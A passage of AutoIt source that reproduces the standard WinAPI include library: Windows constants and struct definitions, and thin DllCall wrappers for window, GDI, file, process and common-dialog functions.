  1002. Global Const $default_gui_font = 17
  1003. Global Const $oem_fixed_font = 10
  1004. Global Const $system_font = 13
  1005. Global Const $system_fixed_font = 16
  1006. Global Const $default_palette = 15
  1007. Global Const $mb_precomposed = 1
  1008. Global Const $mb_composite = 2
  1009. Global Const $mb_useglyphchars = 4
  1010. Global Const $ulw_alpha = 2
  1011. Global Const $ulw_colorkey = 1
  1012. Global Const $ulw_opaque = 4
  1013. Global Const $wh_callwndproc = 4
  1014. Global Const $wh_callwndprocret = 12
  1015. Global Const $wh_cbt = 5
  1016. Global Const $wh_debug = 9
  1017. Global Const $wh_foregroundidle = 11
  1018. Global Const $wh_getmessage = 3
  1019. Global Const $wh_journalplayback = 1
  1020. Global Const $wh_journalrecord = 0
  1021. Global Const $wh_keyboard = 2
  1022. Global Const $wh_keyboard_ll = 13
  1023. Global Const $wh_mouse = 7
  1024. Global Const $wh_mouse_ll = 14
  1025. Global Const $wh_msgfilter = -1
  1026. Global Const $wh_shell = 10
  1027. Global Const $wh_sysmsgfilter = 6
  1028. Global Const $wpf_asyncwindowplacement = 4
  1029. Global Const $wpf_restoretomaximized = 2
  1030. Global Const $wpf_setminposition = 1
  1031. Global Const $kf_extended = 256
  1032. Global Const $kf_altdown = 8192
  1033. Global Const $kf_up = 32768
  1034. Global Const $llkhf_extended = BitShift($kf_extended, 8)
  1035. Global Const $llkhf_injected = 16
  1036. Global Const $llkhf_altdown = BitShift($kf_altdown, 8)
  1037. Global Const $llkhf_up = BitShift($kf_up, 8)
  1038. Global Const $ofn_allowmultiselect = 512
  1039. Global Const $ofn_createprompt = 8192
  1040. Global Const $ofn_dontaddtorecent = 33554432
  1041. Global Const $ofn_enablehook = 32
  1042. Global Const $ofn_enableincludenotify = 4194304
  1043. Global Const $ofn_enablesizing = 8388608
  1044. Global Const $ofn_enabletemplate = 64
  1045. Global Const $ofn_enabletemplatehandle = 128
  1046. Global Const $ofn_explorer = 524288
  1047. Global Const $ofn_extensiondifferent = 1024
  1048. Global Const $ofn_filemustexist = 4096
  1049. Global Const $ofn_forceshowhidden = 268435456
  1050. Global Const $ofn_hidereadonly = 4
  1051. Global Const $ofn_longnames = 2097152
  1052. Global Const $ofn_nochangedir = 8
  1053. Global Const $ofn_nodereferencelinks = 1048576
  1054. Global Const $ofn_nolongnames = 262144
  1055. Global Const $ofn_nonetworkbutton = 131072
  1056. Global Const $ofn_noreadonlyreturn = 32768
  1057. Global Const $ofn_notestfilecreate = 65536
  1058. Global Const $ofn_novalidate = 256
  1059. Global Const $ofn_overwriteprompt = 2
  1060. Global Const $ofn_pathmustexist = 2048
  1061. Global Const $ofn_readonly = 1
  1062. Global Const $ofn_shareaware = 16384
  1063. Global Const $ofn_showhelp = 16
  1064. Global Const $ofn_ex_noplacesbar = 1
  1065. Global Const $tmpf_fixed_pitch = 1
  1066. Global Const $tmpf_vector = 2
  1067. Global Const $tmpf_truetype = 4
  1068. Global Const $tmpf_device = 8
  1069. Global Const $duplicate_close_source = 1
  1070. Global Const $duplicate_same_access = 2
  1071. Global Const $tagcursorinfo = "dword Size;dword Flags;handle hCursor;" & $tagpoint
  1072. Global Const $tagdisplay_device = "dword Size;wchar Name[32];wchar String[128];dword Flags;wchar ID[128];wchar Key[128]"
  1073. Global Const $tagflashwinfo = "uint Size;hwnd hWnd;dword Flags;uint Count;dword TimeOut"
  1074. Global Const $tagiconinfo = "bool Icon;dword XHotSpot;dword YHotSpot;handle hMask;handle hColor"
  1075. Global Const $tagmemorystatusex = "dword Length;dword MemoryLoad;" & "uint64 TotalPhys;uint64 AvailPhys;uint64 TotalPageFile;uint64 AvailPageFile;" & "uint64 TotalVirtual;uint64 AvailVirtual;uint64 AvailExtendedVirtual"
  1076.  
  1077. Func _winapi_attachconsole($iprocessid = -1)
  1078.     Local $aresult = DllCall("kernel32.dll", "bool", "AttachConsole", "dword", $iprocessid)
  1079.     If @error Then Return SetError(@error, @extended, False)
  1080.     Return $aresult[0]
  1081. EndFunc
  1082.  
  1083. Func _winapi_attachthreadinput($iattach, $iattachto, $fattach)
  1084.     Local $aresult = DllCall("user32.dll", "bool", "AttachThreadInput", "dword", $iattach, "dword", $iattachto, "bool", $fattach)
  1085.     If @error Then Return SetError(@error, @extended, False)
  1086.     Return $aresult[0]
  1087. EndFunc
  1088.  
  1089. Func _winapi_beep($ifreq = 500, $iduration = 1000)
  1090.     Local $aresult = DllCall("kernel32.dll", "bool", "Beep", "dword", $ifreq, "dword", $iduration)
  1091.     If @error Then Return SetError(@error, @extended, False)
  1092.     Return $aresult[0]
  1093. EndFunc
  1094.  
  1095. Func _winapi_bitblt($hdestdc, $ixdest, $iydest, $iwidth, $iheight, $hsrcdc, $ixsrc, $iysrc, $irop)
  1096.     Local $aresult = DllCall("gdi32.dll", "bool", "BitBlt", "handle", $hdestdc, "int", $ixdest, "int", $iydest, "int", $iwidth, "int", $iheight, "handle", $hsrcdc, "int", $ixsrc, "int", $iysrc, "dword", $irop)
  1097.     If @error Then Return SetError(@error, @extended, False)
  1098.     Return $aresult[0]
  1099. EndFunc
  1100.  
  1101. Func _winapi_callnexthookex($hhk, $icode, $wparam, $lparam)
  1102.     Local $aresult = DllCall("user32.dll", "lresult", "CallNextHookEx", "handle", $hhk, "int", $icode, "wparam", $wparam, "lparam", $lparam)
  1103.     If @error Then Return SetError(@error, @extended, -1)
  1104.     Return $aresult[0]
  1105. EndFunc
  1106.  
  1107. Func _winapi_callwindowproc($lpprevwndfunc, $hwnd, $msg, $wparam, $lparam)
  1108.     Local $aresult = DllCall("user32.dll", "lresult", "CallWindowProc", "ptr", $lpprevwndfunc, "hwnd", $hwnd, "uint", $msg, "wparam", $wparam, "lparam", $lparam)
  1109.     If @error Then Return SetError(@error, @extended, -1)
  1110.     Return $aresult[0]
  1111. EndFunc
  1112.  
  1113. Func _winapi_clienttoscreen($hwnd, ByRef $tpoint)
  1114.     DllCall("user32.dll", "bool", "ClientToScreen", "hwnd", $hwnd, "struct*", $tpoint)
  1115.     Return SetError(@error, @extended, $tpoint)
  1116. EndFunc
  1117.  
  1118. Func _winapi_closehandle($hobject)
  1119.     Local $aresult = DllCall("kernel32.dll", "bool", "CloseHandle", "handle", $hobject)
  1120.     If @error Then Return SetError(@error, @extended, False)
  1121.     Return $aresult[0]
  1122. EndFunc
  1123.  
  1124. Func _winapi_combinergn($hrgndest, $hrgnsrc1, $hrgnsrc2, $icombinemode)
  1125.     Local $aresult = DllCall("gdi32.dll", "int", "CombineRgn", "handle", $hrgndest, "handle", $hrgnsrc1, "handle", $hrgnsrc2, "int", $icombinemode)
  1126.     If @error Then Return SetError(@error, @extended, 0)
  1127.     Return $aresult[0]
  1128. EndFunc
  1129.  
  1130. Func _winapi_commdlgextendederror()
  1131.     Local Const $cderr_dialogfailure = 65535
  1132.     Local Const $cderr_findresfailure = 6
  1133.     Local Const $cderr_initialization = 2
  1134.     Local Const $cderr_loadresfailure = 7
  1135.     Local Const $cderr_loadstrfailure = 5
  1136.     Local Const $cderr_lockresfailure = 8
  1137.     Local Const $cderr_memallocfailure = 9
  1138.     Local Const $cderr_memlockfailure = 10
  1139.     Local Const $cderr_nohinstance = 4
  1140.     Local Const $cderr_nohook = 11
  1141.     Local Const $cderr_notemplate = 3
  1142.     Local Const $cderr_registermsgfail = 12
  1143.     Local Const $cderr_structsize = 1
  1144.     Local Const $fnerr_buffertoosmall = 12291
  1145.     Local Const $fnerr_invalidfilename = 12290
  1146.     Local Const $fnerr_subclassfailure = 12289
  1147.     Local $aresult = DllCall("comdlg32.dll", "dword", "CommDlgExtendedError")
  1148.     If @error Then Return SetError(@error, @extended, 0)
  1149.     Switch $aresult[0]
  1150.         Case $cderr_dialogfailure
  1151.             Return SetError($aresult[0], 0, "The dialog box could not be created." & @LF & "The common dialog box function's call to the DialogBox function failed." & @LF & "For example, this error occurs if the common dialog box call specifies an invalid window handle.")
  1152.         Case $cderr_findresfailure
  1153.             Return SetError($aresult[0], 0, "The common dialog box function failed to find a specified resource.")
  1154.         Case $cderr_initialization
  1155.             Return SetError($aresult[0], 0, "The common dialog box function failed during initialization." & @LF & "This error often occurs when sufficient memory is not available.")
  1156.         Case $cderr_loadresfailure
  1157.             Return SetError($aresult[0], 0, "The common dialog box function failed to load a specified resource.")
  1158.         Case $cderr_loadstrfailure
  1159.             Return SetError($aresult[0], 0, "The common dialog box function failed to load a specified string.")
  1160.         Case $cderr_lockresfailure
  1161.             Return SetError($aresult[0], 0, "The common dialog box function failed to lock a specified resource.")
  1162.         Case $cderr_memallocfailure
  1163.             Return SetError($aresult[0], 0, "The common dialog box function was unable to allocate memory for internal structures.")
  1164.         Case $cderr_memlockfailure
  1165.             Return SetError($aresult[0], 0, "The common dialog box function was unable to lock the memory associated with a handle.")
  1166.         Case $cderr_nohinstance
  1167.             Return SetError($aresult[0], 0, "The ENABLETEMPLATE flag was set in the Flags member of the initialization structure for the corresponding common dialog box," & @LF & "but you failed to provide a corresponding instance handle.")
  1168.         Case $cderr_nohook
  1169.             Return SetError($aresult[0], 0, "The ENABLEHOOK flag was set in the Flags member of the initialization structure for the corresponding common dialog box," & @LF & "but you failed to provide a pointer to a corresponding hook procedure.")
  1170.         Case $cderr_notemplate
  1171.             Return SetError($aresult[0], 0, "The ENABLETEMPLATE flag was set in the Flags member of the initialization structure for the corresponding common dialog box," & @LF & "but you failed to provide a corresponding template.")
  1172.         Case $cderr_registermsgfail
  1173.             Return SetError($aresult[0], 0, "The RegisterWindowMessage function returned an error code when it was called by the common dialog box function.")
  1174.         Case $cderr_structsize
  1175.             Return SetError($aresult[0], 0, "The lStructSize member of the initialization structure for the corresponding common dialog box is invalid")
  1176.         Case $fnerr_buffertoosmall
  1177.             Return SetError($aresult[0], 0, "The buffer pointed to by the lpstrFile member of the OPENFILENAME structure is too small for the file name specified by the user." & @LF & "The first two bytes of the lpstrFile buffer contain an integer value specifying the size, in TCHARs, required to receive the full name.")
  1178.         Case $fnerr_invalidfilename
  1179.             Return SetError($aresult[0], 0, "A file name is invalid.")
  1180.         Case $fnerr_subclassfailure
  1181.             Return SetError($aresult[0], 0, "An attempt to subclass a list box failed because sufficient memory was not available.")
  1182.     EndSwitch
  1183.     Return Hex($aresult[0])
  1184. EndFunc
  1185.  
  1186. Func _winapi_copyicon($hicon)
  1187.     Local $aresult = DllCall("user32.dll", "handle", "CopyIcon", "handle", $hicon)
  1188.     If @error Then Return SetError(@error, @extended, 0)
  1189.     Return $aresult[0]
  1190. EndFunc
  1191.  
  1192. Func _winapi_createbitmap($iwidth, $iheight, $iplanes = 1, $ibitsperpel = 1, $pbits = 0)
  1193.     Local $aresult = DllCall("gdi32.dll", "handle", "CreateBitmap", "int", $iwidth, "int", $iheight, "uint", $iplanes, "uint", $ibitsperpel, "ptr", $pbits)
  1194.     If @error Then Return SetError(@error, @extended, 0)
  1195.     Return $aresult[0]
  1196. EndFunc
  1197.  
  1198. Func _winapi_createcompatiblebitmap($hdc, $iwidth, $iheight)
  1199.     Local $aresult = DllCall("gdi32.dll", "handle", "CreateCompatibleBitmap", "handle", $hdc, "int", $iwidth, "int", $iheight)
  1200.     If @error Then Return SetError(@error, @extended, 0)
  1201.     Return $aresult[0]
  1202. EndFunc
  1203.  
  1204. Func _winapi_createcompatibledc($hdc)
  1205.     Local $aresult = DllCall("gdi32.dll", "handle", "CreateCompatibleDC", "handle", $hdc)
  1206.     If @error Then Return SetError(@error, @extended, 0)
  1207.     Return $aresult[0]
  1208. EndFunc
  1209.  
  1210. Func _winapi_createevent($pattributes = 0, $fmanualreset = True, $finitialstate = True, $sname = "")
  1211.     Local $snametype = "wstr"
  1212.     If $sname = "" Then
  1213.         $sname = 0
  1214.         $snametype = "ptr"
  1215.     EndIf
  1216.     Local $aresult = DllCall("kernel32.dll", "handle", "CreateEventW", "ptr", $pattributes, "bool", $fmanualreset, "bool", $finitialstate, $snametype, $sname)
  1217.     If @error Then Return SetError(@error, @extended, 0)
  1218.     Return $aresult[0]
  1219. EndFunc
  1220.  
  1221. Func _winapi_createfile($sfilename, $icreation, $iaccess = 4, $ishare = 0, $iattributes = 0, $psecurity = 0)
  1222.     Local $ida = 0, $ism = 0, $icd = 0, $ifa = 0
  1223.     If BitAND($iaccess, 1) <> 0 Then $ida = BitOR($ida, $generic_execute)
  1224.     If BitAND($iaccess, 2) <> 0 Then $ida = BitOR($ida, $generic_read)
  1225.     If BitAND($iaccess, 4) <> 0 Then $ida = BitOR($ida, $generic_write)
  1226.     If BitAND($ishare, 1) <> 0 Then $ism = BitOR($ism, $file_share_delete)
  1227.     If BitAND($ishare, 2) <> 0 Then $ism = BitOR($ism, $file_share_read)
  1228.     If BitAND($ishare, 4) <> 0 Then $ism = BitOR($ism, $file_share_write)
  1229.     Switch $icreation
  1230.         Case 0
  1231.             $icd = $create_new
  1232.         Case 1
  1233.             $icd = $create_always
  1234.         Case 2
  1235.             $icd = $open_existing
  1236.         Case 3
  1237.             $icd = $open_always
  1238.         Case 4
  1239.             $icd = $truncate_existing
  1240.     EndSwitch
  1241.     If BitAND($iattributes, 1) <> 0 Then $ifa = BitOR($ifa, $file_attribute_archive)
  1242.     If BitAND($iattributes, 2) <> 0 Then $ifa = BitOR($ifa, $file_attribute_hidden)
  1243.     If BitAND($iattributes, 4) <> 0 Then $ifa = BitOR($ifa, $file_attribute_readonly)
  1244.     If BitAND($iattributes, 8) <> 0 Then $ifa = BitOR($ifa, $file_attribute_system)
  1245.     Local $aresult = DllCall("kernel32.dll", "handle", "CreateFileW", "wstr", $sfilename, "dword", $ida, "dword", $ism, "ptr", $psecurity, "dword", $icd, "dword", $ifa, "ptr", 0)
  1246.     If @error OR $aresult[0] = Ptr(-1) Then Return SetError(@error, @extended, 0)
  1247.     Return $aresult[0]
  1248. EndFunc
  1249.  
  1250. Func _winapi_createfont($nheight, $nwidth, $nescape = 0, $norientn = 0, $fnweight = $__winapiconstant_fw_normal, $bitalic = False, $bunderline = False, $bstrikeout = False, $ncharset = $__winapiconstant_default_charset, $noutputprec = $__winapiconstant_out_default_precis, $nclipprec = $__winapiconstant_clip_default_precis, $nquality = $__winapiconstant_default_quality, $npitch = 0, $szface = "Arial")
  1251.     Local $aresult = DllCall("gdi32.dll", "handle", "CreateFontW", "int", $nheight, "int", $nwidth, "int", $nescape, "int", $norientn, "int", $fnweight, "dword", $bitalic, "dword", $bunderline, "dword", $bstrikeout, "dword", $ncharset, "dword", $noutputprec, "dword", $nclipprec, "dword", $nquality, "dword", $npitch, "wstr", $szface)
  1252.     If @error Then Return SetError(@error, @extended, 0)
  1253.     Return $aresult[0]
  1254. EndFunc
  1255.  
  1256. Func _winapi_createfontindirect($tlogfont)
  1257.     Local $aresult = DllCall("gdi32.dll", "handle", "CreateFontIndirectW", "struct*", $tlogfont)
  1258.     If @error Then Return SetError(@error, @extended, 0)
  1259.     Return $aresult[0]
  1260. EndFunc
  1261.  
  1262. Func _winapi_createpen($ipenstyle, $iwidth, $ncolor)
  1263.     Local $aresult = DllCall("gdi32.dll", "handle", "CreatePen", "int", $ipenstyle, "int", $iwidth, "dword", $ncolor)
  1264.     If @error Then Return SetError(@error, @extended, 0)
  1265.     Return $aresult[0]
  1266. EndFunc
  1267.  
  1268. Func _winapi_createprocess($sappname, $scommand, $psecurity, $pthread, $finherit, $iflags, $penviron, $sdir, $pstartupinfo, $pprocess)
  1269.     Local $tcommand = 0
  1270.     Local $sappnametype = "wstr", $sdirtype = "wstr"
  1271.     If $sappname = "" Then
  1272.         $sappnametype = "ptr"
  1273.         $sappname = 0
  1274.     EndIf
  1275.     If $scommand <> "" Then
  1276.         $tcommand = DllStructCreate("wchar Text[" & 260 + 1 & "]")
  1277.         DllStructSetData($tcommand, "Text", $scommand)
  1278.     EndIf
  1279.     If $sdir = "" Then
  1280.         $sdirtype = "ptr"
  1281.         $sdir = 0
  1282.     EndIf
  1283.     Local $aresult = DllCall("kernel32.dll", "bool", "CreateProcessW", $sappnametype, $sappname, "struct*", $tcommand, "ptr", $psecurity, "ptr", $pthread, "bool", $finherit, "dword", $iflags, "ptr", $penviron, $sdirtype, $sdir, "ptr", $pstartupinfo, "ptr", $pprocess)
  1284.     If @error Then Return SetError(@error, @extended, False)
  1285.     Return $aresult[0]
  1286. EndFunc
  1287.  
  1288. Func _winapi_createrectrgn($ileftrect, $itoprect, $irightrect, $ibottomrect)
  1289.     Local $aresult = DllCall("gdi32.dll", "handle", "CreateRectRgn", "int", $ileftrect, "int", $itoprect, "int", $irightrect, "int", $ibottomrect)
  1290.     If @error Then Return SetError(@error, @extended, 0)
  1291.     Return $aresult[0]
  1292. EndFunc
  1293.  
  1294. Func _winapi_createroundrectrgn($ileftrect, $itoprect, $irightrect, $ibottomrect, $iwidthellipse, $iheightellipse)
  1295.     Local $aresult = DllCall("gdi32.dll", "handle", "CreateRoundRectRgn", "int", $ileftrect, "int", $itoprect, "int", $irightrect, "int", $ibottomrect, "int", $iwidthellipse, "int", $iheightellipse)
  1296.     If @error Then Return SetError(@error, @extended, 0)
  1297.     Return $aresult[0]
  1298. EndFunc
  1299.  
  1300. Func _winapi_createsolidbitmap($hwnd, $icolor, $iwidth, $iheight, $brgb = 1)
  1301.     Local $hdc = _winapi_getdc($hwnd)
  1302.     Local $hdestdc = _winapi_createcompatibledc($hdc)
  1303.     Local $hbitmap = _winapi_createcompatiblebitmap($hdc, $iwidth, $iheight)
  1304.     Local $hold = _winapi_selectobject($hdestdc, $hbitmap)
  1305.     Local $trect = DllStructCreate($tagrect)
  1306.     DllStructSetData($trect, 1, 0)
  1307.     DllStructSetData($trect, 2, 0)
  1308.     DllStructSetData($trect, 3, $iwidth)
  1309.     DllStructSetData($trect, 4, $iheight)
  1310.     If $brgb Then
  1311.         $icolor = BitOR(BitAND($icolor, 65280), BitShift(BitAND($icolor, 255), -16), BitShift(BitAND($icolor, 16711680), 16))
  1312.     EndIf
  1313.     Local $hbrush = _winapi_createsolidbrush($icolor)
  1314.     _winapi_fillrect($hdestdc, $trect, $hbrush)
  1315.     If @error Then
  1316.         _winapi_deleteobject($hbitmap)
  1317.         $hbitmap = 0
  1318.     EndIf
  1319.     _winapi_deleteobject($hbrush)
  1320.     _winapi_releasedc($hwnd, $hdc)
  1321.     _winapi_selectobject($hdestdc, $hold)
  1322.     _winapi_deletedc($hdestdc)
  1323.     If NOT $hbitmap Then Return SetError(1, 0, 0)
  1324.     Return $hbitmap
  1325. EndFunc
  1326.  
  1327. Func _winapi_createsolidbrush($ncolor)
  1328.     Local $aresult = DllCall("gdi32.dll", "handle", "CreateSolidBrush", "dword", $ncolor)
  1329.     If @error Then Return SetError(@error, @extended, 0)
  1330.     Return $aresult[0]
  1331. EndFunc
  1332.  
  1333. Func _winapi_createwindowex($iexstyle, $sclass, $sname, $istyle, $ix, $iy, $iwidth, $iheight, $hparent, $hmenu = 0, $hinstance = 0, $pparam = 0)
  1334.     If $hinstance = 0 Then $hinstance = _winapi_getmodulehandle("")
  1335.     Local $aresult = DllCall("user32.dll", "hwnd", "CreateWindowExW", "dword", $iexstyle, "wstr", $sclass, "wstr", $sname, "dword", $istyle, "int", $ix, "int", $iy, "int", $iwidth, "int", $iheight, "hwnd", $hparent, "handle", $hmenu, "handle", $hinstance, "ptr", $pparam)
  1336.     If @error Then Return SetError(@error, @extended, 0)
  1337.     Return $aresult[0]
  1338. EndFunc
  1339.  
  1340. Func _winapi_defwindowproc($hwnd, $imsg, $iwparam, $ilparam)
  1341.     Local $aresult = DllCall("user32.dll", "lresult", "DefWindowProc", "hwnd", $hwnd, "uint", $imsg, "wparam", $iwparam, "lparam", $ilparam)
  1342.     If @error Then Return SetError(@error, @extended, 0)
  1343.     Return $aresult[0]
  1344. EndFunc
  1345.  
  1346. Func _winapi_deletedc($hdc)
  1347.     Local $aresult = DllCall("gdi32.dll", "bool", "DeleteDC", "handle", $hdc)
  1348.     If @error Then Return SetError(@error, @extended, False)
  1349.     Return $aresult[0]
  1350. EndFunc
  1351.  
  1352. Func _winapi_deleteobject($hobject)
  1353.     Local $aresult = DllCall("gdi32.dll", "bool", "DeleteObject", "handle", $hobject)
  1354.     If @error Then Return SetError(@error, @extended, False)
  1355.     Return $aresult[0]
  1356. EndFunc
  1357.  
  1358. Func _winapi_destroyicon($hicon)
  1359.     Local $aresult = DllCall("user32.dll", "bool", "DestroyIcon", "handle", $hicon)
  1360.     If @error Then Return SetError(@error, @extended, False)
  1361.     Return $aresult[0]
  1362. EndFunc
  1363.  
  1364. Func _winapi_destroywindow($hwnd)
  1365.     Local $aresult = DllCall("user32.dll", "bool", "DestroyWindow", "hwnd", $hwnd)
  1366.     If @error Then Return SetError(@error, @extended, False)
  1367.     Return $aresult[0]
  1368. EndFunc
  1369.  
  1370. Func _winapi_drawedge($hdc, $ptrrect, $nedgetype, $grfflags)
  1371.     Local $aresult = DllCall("user32.dll", "bool", "DrawEdge", "handle", $hdc, "ptr", $ptrrect, "uint", $nedgetype, "uint", $grfflags)
  1372.     If @error Then Return SetError(@error, @extended, False)
  1373.     Return $aresult[0]
  1374. EndFunc
  1375.  
  1376. Func _winapi_drawframecontrol($hdc, $ptrrect, $ntype, $nstate)
  1377.     Local $aresult = DllCall("user32.dll", "bool", "DrawFrameControl", "handle", $hdc, "ptr", $ptrrect, "uint", $ntype, "uint", $nstate)
  1378.     If @error Then Return SetError(@error, @extended, False)
  1379.     Return $aresult[0]
  1380. EndFunc
  1381.  
  1382. Func _winapi_drawicon($hdc, $ix, $iy, $hicon)
  1383.     Local $aresult = DllCall("user32.dll", "bool", "DrawIcon", "handle", $hdc, "int", $ix, "int", $iy, "handle", $hicon)
  1384.     If @error Then Return SetError(@error, @extended, False)
  1385.     Return $aresult[0]
  1386. EndFunc
  1387.  
  1388. Func _winapi_drawiconex($hdc, $ix, $iy, $hicon, $iwidth = 0, $iheight = 0, $istep = 0, $hbrush = 0, $iflags = 3)
  1389.     Local $ioptions
  1390.     Switch $iflags
  1391.         Case 1
  1392.             $ioptions = $__winapiconstant_di_mask
  1393.         Case 2
  1394.             $ioptions = $__winapiconstant_di_image
  1395.         Case 3
  1396.             $ioptions = $__winapiconstant_di_normal
  1397.         Case 4
  1398.             $ioptions = $__winapiconstant_di_compat
  1399.         Case 5
  1400.             $ioptions = $__winapiconstant_di_defaultsize
  1401.         Case Else
  1402.             $ioptions = $__winapiconstant_di_nomirror
  1403.     EndSwitch
  1404.     Local $aresult = DllCall("user32.dll", "bool", "DrawIconEx", "handle", $hdc, "int", $ix, "int", $iy, "handle", $hicon, "int", $iwidth, "int", $iheight, "uint", $istep, "handle", $hbrush, "uint", $ioptions)
  1405.     If @error Then Return SetError(@error, @extended, False)
  1406.     Return $aresult[0]
  1407. EndFunc
  1408.  
  1409. Func _winapi_drawline($hdc, $ix1, $iy1, $ix2, $iy2)
  1410.     _winapi_moveto($hdc, $ix1, $iy1)
  1411.     If @error Then Return SetError(@error, @extended, False)
  1412.     _winapi_lineto($hdc, $ix2, $iy2)
  1413.     If @error Then Return SetError(@error, @extended, False)
  1414.     Return True
  1415. EndFunc
  1416.  
  1417. Func _winapi_drawtext($hdc, $stext, ByRef $trect, $iflags)
  1418.     Local $aresult = DllCall("user32.dll", "int", "DrawTextW", "handle", $hdc, "wstr", $stext, "int", -1, "struct*", $trect, "uint", $iflags)
  1419.     If @error Then Return SetError(@error, @extended, 0)
  1420.     Return $aresult[0]
  1421. EndFunc
  1422.  
  1423. Func _winapi_duplicatehandle($hsourceprocesshandle, $hsourcehandle, $htargetprocesshandle, $idesiredaccess, $finherithandle, $ioptions)
  1424.     Local $acall = DllCall("kernel32.dll", "bool", "DuplicateHandle", "handle", $hsourceprocesshandle, "handle", $hsourcehandle, "handle", $htargetprocesshandle, "handle*", 0, "dword", $idesiredaccess, "bool", $finherithandle, "dword", $ioptions)
  1425.     If @error OR NOT $acall[0] Then Return SetError(1, @extended, 0)
  1426.     Return $acall[4]
  1427. EndFunc
  1428.  
  1429. Func _winapi_enablewindow($hwnd, $fenable = True)
  1430.     Local $aresult = DllCall("user32.dll", "bool", "EnableWindow", "hwnd", $hwnd, "bool", $fenable)
  1431.     If @error Then Return SetError(@error, @extended, False)
  1432.     Return $aresult[0]
  1433. EndFunc
  1434.  
  1435. Func _winapi_enumdisplaydevices($sdevice, $idevnum)
  1436.     Local $tname = 0, $iflags = 0, $adevice[5]
  1437.     If $sdevice <> "" Then
  1438.         $tname = DllStructCreate("wchar Text[" & StringLen($sdevice) + 1 & "]")
  1439.         DllStructSetData($tname, "Text", $sdevice)
  1440.     EndIf
  1441.     Local $tdevice = DllStructCreate($tagdisplay_device)
  1442.     Local $idevice = DllStructGetSize($tdevice)
  1443.     DllStructSetData($tdevice, "Size", $idevice)
  1444.     DllCall("user32.dll", "bool", "EnumDisplayDevicesW", "struct*", $tname, "dword", $idevnum, "struct*", $tdevice, "dword", 1)
  1445.     If @error Then Return SetError(@error, @extended, 0)
  1446.     Local $in = DllStructGetData($tdevice, "Flags")
  1447.     If BitAND($in, $__winapiconstant_display_device_attached_to_desktop) <> 0 Then $iflags = BitOR($iflags, 1)
  1448.     If BitAND($in, $__winapiconstant_display_device_primary_device) <> 0 Then $iflags = BitOR($iflags, 2)
  1449.     If BitAND($in, $__winapiconstant_display_device_mirroring_driver) <> 0 Then $iflags = BitOR($iflags, 4)
  1450.     If BitAND($in, $__winapiconstant_display_device_vga_compatible) <> 0 Then $iflags = BitOR($iflags, 8)
  1451.     If BitAND($in, $__winapiconstant_display_device_removable) <> 0 Then $iflags = BitOR($iflags, 16)
  1452.     If BitAND($in, $__winapiconstant_display_device_modespruned) <> 0 Then $iflags = BitOR($iflags, 32)
  1453.     $adevice[0] = True
  1454.     $adevice[1] = DllStructGetData($tdevice, "Name")
  1455.     $adevice[2] = DllStructGetData($tdevice, "String")
  1456.     $adevice[3] = $iflags
  1457.     $adevice[4] = DllStructGetData($tdevice, "ID")
  1458.     Return $adevice
  1459. EndFunc
  1460.  
  1461. Func _winapi_enumwindows($fvisible = True, $hwnd = Default)
  1462.     __winapi_enumwindowsinit()
  1463.     If $hwnd = Default Then $hwnd = _winapi_getdesktopwindow()
  1464.     __winapi_enumwindowschild($hwnd, $fvisible)
  1465.     Return $__gawinlist_winapi
  1466. EndFunc
  1467.  
  1468. Func __winapi_enumwindowsadd($hwnd, $sclass = "")
  1469.     If $sclass = "" Then $sclass = _winapi_getclassname($hwnd)
  1470.     $__gawinlist_winapi[0][0] += 1
  1471.     Local $icount = $__gawinlist_winapi[0][0]
  1472.     If $icount >= $__gawinlist_winapi[0][1] Then
  1473.         ReDim $__gawinlist_winapi[$icount + 64][2]
  1474.         $__gawinlist_winapi[0][1] += 64
  1475.     EndIf
  1476.     $__gawinlist_winapi[$icount][0] = $hwnd
  1477.     $__gawinlist_winapi[$icount][1] = $sclass
  1478. EndFunc
  1479.  
  1480. Func __winapi_enumwindowschild($hwnd, $fvisible = True)
  1481.     $hwnd = _winapi_getwindow($hwnd, $__winapiconstant_gw_child)
  1482.     While $hwnd <> 0
  1483.         If (NOT $fvisible) OR _winapi_iswindowvisible($hwnd) Then
  1484.             __winapi_enumwindowschild($hwnd, $fvisible)
  1485.             __winapi_enumwindowsadd($hwnd)
  1486.         EndIf
  1487.         $hwnd = _winapi_getwindow($hwnd, $__winapiconstant_gw_hwndnext)
  1488.     WEnd
  1489. EndFunc
  1490.  
  1491. Func __winapi_enumwindowsinit()
  1492.     ReDim $__gawinlist_winapi[64][2]
  1493.     $__gawinlist_winapi[0][0] = 0
  1494.     $__gawinlist_winapi[0][1] = 64
  1495. EndFunc
  1496.  
  1497. Func _winapi_enumwindowspopup()
  1498.     __winapi_enumwindowsinit()
  1499.     Local $hwnd = _winapi_getwindow(_winapi_getdesktopwindow(), $__winapiconstant_gw_child)
  1500.     Local $sclass
  1501.     While $hwnd <> 0
  1502.         If _winapi_iswindowvisible($hwnd) Then
  1503.             $sclass = _winapi_getclassname($hwnd)
  1504.             If $sclass = "#32768" Then
  1505.                 __winapi_enumwindowsadd($hwnd)
  1506.             ElseIf $sclass = "ToolbarWindow32" Then
  1507.                 __winapi_enumwindowsadd($hwnd)
  1508.             ElseIf $sclass = "ToolTips_Class32" Then
  1509.                 __winapi_enumwindowsadd($hwnd)
  1510.             ElseIf $sclass = "BaseBar" Then
  1511.                 __winapi_enumwindowschild($hwnd)
  1512.             EndIf
  1513.         EndIf
  1514.         $hwnd = _winapi_getwindow($hwnd, $__winapiconstant_gw_hwndnext)
  1515.     WEnd
  1516.     Return $__gawinlist_winapi
  1517. EndFunc
  1518.  
  1519. Func _winapi_enumwindowstop()
  1520.     __winapi_enumwindowsinit()
  1521.     Local $hwnd = _winapi_getwindow(_winapi_getdesktopwindow(), $__winapiconstant_gw_child)
  1522.     While $hwnd <> 0
  1523.         If _winapi_iswindowvisible($hwnd) Then __winapi_enumwindowsadd($hwnd)
  1524.         $hwnd = _winapi_getwindow($hwnd, $__winapiconstant_gw_hwndnext)
  1525.     WEnd
  1526.     Return $__gawinlist_winapi
  1527. EndFunc
  1528.  
  1529. Func _winapi_expandenvironmentstrings($sstring)
  1530.     Local $aresult = DllCall("kernel32.dll", "dword", "ExpandEnvironmentStringsW", "wstr", $sstring, "wstr", "", "dword", 4096)
  1531.     If @error Then Return SetError(@error, @extended, "")
  1532.     Return $aresult[2]
  1533. EndFunc
  1534.  
  1535. Func _winapi_extracticonex($sfile, $iindex, $plarge, $psmall, $iicons)
  1536.     Local $aresult = DllCall("shell32.dll", "uint", "ExtractIconExW", "wstr", $sfile, "int", $iindex, "struct*", $plarge, "struct*", $psmall, "uint", $iicons)
  1537.     If @error Then Return SetError(@error, @extended, 0)
  1538.     Return $aresult[0]
